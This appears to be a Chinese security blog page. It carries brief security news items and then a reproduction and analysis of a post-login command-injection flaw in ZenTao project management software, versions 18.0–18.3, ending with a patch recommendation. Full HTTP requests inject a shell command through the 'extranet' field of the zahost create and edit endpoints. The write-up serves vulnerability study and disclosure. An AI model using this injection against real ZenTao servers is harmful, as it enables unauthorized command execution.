美国联邦调查局于近日警告称,梭子鱼电子邮件安全网关(ESG)的一个重要远程命令注入漏洞的补丁 "无效",已打补丁的设备仍在不断受到攻击。 10、投放带木马链接,国内百万台电脑中招 https://www.secrss.com/articles/58236 近日,浙江杭州西湖网警在工作中发现,网上出现一些高仿即时办公通讯软件的“钓鱼网站”,其中携带木马病毒。短短数日,被木马病毒远程非法控制的电脑已达一百多万台。西湖网警立即开展调查,最终查明一个非法控制计算机信息系统的犯罪团伙。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
禅道后台命令执行漏洞二
漏洞简介 禅道是第一款国产的开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、 组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整地覆盖了项目管理的核心流程。 禅道管理思想注重实效,功能完备丰富,操作简洁高效,界面美观大方,搜索功能强大,统计报表丰富多样,软件架构合理,扩展灵活,有完善的 API 可以调用。 禅道后台存在 RCE 漏洞,存在于 V18.0-18.3 之间,经过复现分析,发现漏洞来源于新增加的一个功能模块。 环境搭建 源码下载地址 https://www.zentao.net/dl/zentao/18.2/ZenTaoPMS.18.2.php7.2_7.4.zip 利用 phpstudy 来进行环境的搭建 漏洞复现 登录后台后访问添加宿主机 在 ip 域名处 拼接恶意 payload 触发漏洞 POST /index.php?m=zahost&f=create HTTP/1.1 Host: test.test Content-Length: 131 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/index.php?m=zahost&f=create Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722 Connection: close vsoft=kvm&hostType=physical&name=test2&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za 漏洞分析 这是禅道新增加的一个功能 增加新功能的同时也带来了新的风险点 module/zahost/control.php#create module/zahost/model.php#create module/zahost/model.php#checkAddress module/zahost/model.php#ping 整个漏洞触发流程在断点调试的过程中一目了然 POST /index.php?m=zahost&f=edit&hostID=1 HTTP/1.1 Host: test.test Content-Length: 131 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/index.php?m=zahost&f=create Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: zentaosid=bp9k0pcftu49b2ethm9f32hc5b; lang=zh-cn; device=desktop; theme=default; preExecutionID=1; moduleBrowseParam=0; productBrowseParam=0; executionTaskOrder=status%2Cid_desc; repoBranch=master; lastProduct=1; tab=qa; windowWidth=1440; windowHeight=722;XDEBUG_SESSION=PHPSTORM Connection: close vsoft=kvm&hostType=physical&name=test4&extranet=127.0.0.1%7Ccalc.exe&cpuCores=2&memory=1&diskSize=1&desc=&uid=64e46f386d9ea&type=za 这样也是可以触发的 model.php:119, zahostModel-\>ping() model.php:149, zahostModel-\>checkAddress() model.php:94, zahostModel-\>update() control.php:130, zahost-\>edit() router.class.php:2199, router-\>loadModule() index.php:74, {main}() 修复建议 更新至最新版本 执行命令时对地址进行了校验
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页